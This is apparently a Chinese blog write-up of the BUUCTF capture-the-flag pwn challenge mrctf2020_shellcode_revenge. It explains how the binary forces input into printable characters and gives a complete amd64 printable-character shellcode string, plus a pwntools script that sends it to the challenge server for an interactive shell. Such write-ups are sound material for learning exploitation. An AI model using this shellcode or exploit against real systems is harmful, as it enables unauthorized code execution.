[BUUCTF-pwn]——mrctf2020_shellcode_revenge(可见字符shellcode)(内涵peak小知识)

[BUUCTF-pwn]——mrctf2020_shellcode_revenge(可见字符shellcode)

检查了下保护发现NX 没有开,肯定要自己写shellcode呀。
不过这道题,刷新了我的认知。众所周知,手写的shellcode里面肯定有很多不可见字符。第一次碰到可见的shellcode。

看下IDA, 不能反汇编不过问题不大,没事.
个人建议,看汇编的时候,建议看流程图,更加直观

将shellcode写入,那个buf
不过下面肯定大于0呀.rbp + var_8是我们输入字符串的长度.发生转跳

在这里插入图片描述
箭头的地方我们不希望发送转跳,这样我们就可以直接call rax了.rax指向的就是我们的buf.
但是eax为0, rbp + var_8是我们输入字符串的长度.肯定发送转跳

在这里插入图片描述

幸好接下来, 可以再次转跳回来,不过要求就是每个字符的ascii码 ,必须大于0x60, 小于0x7a或者一堆, 自己可以慢慢看.
总结就是可见字符可以重新转跳,并且eax会+ 1, 当所有的shellcode为可见字符时, 上面就不会发生转跳我们就可以执行call rax.
也就是我们的shellcode了

peak小知识

  1. 函数返回值,一般都会放在eax寄存器里面.
  2. amd64, linux可见字符shellcode 为'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'

exploit

from pwn import *
p = remote("node3.buuoj.cn",28153)
payload = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
p.send(payload)
p.interactive()
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值